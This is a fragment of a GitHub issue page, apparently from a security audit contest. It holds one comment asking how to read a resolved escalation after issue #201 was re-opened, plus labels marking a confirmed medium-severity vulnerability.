I can see the escalation shows as resolved now, but #201 was re-opened 3 days after escalation resolution, so not sure how to interpret the resolution update.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Escalation Resolved This issue's escalations have been approved/rejected Has Duplicates A valid issue with 1+ other issues describing the same vulnerability Medium A valid Medium severity issue Reward A payout will be made for this issue Sponsor Confirmed The sponsor acknowledged this issue is valid Will Fix The sponsor confirmed this issue will be fixed
Projects
None yet
Development

No branches or pull requests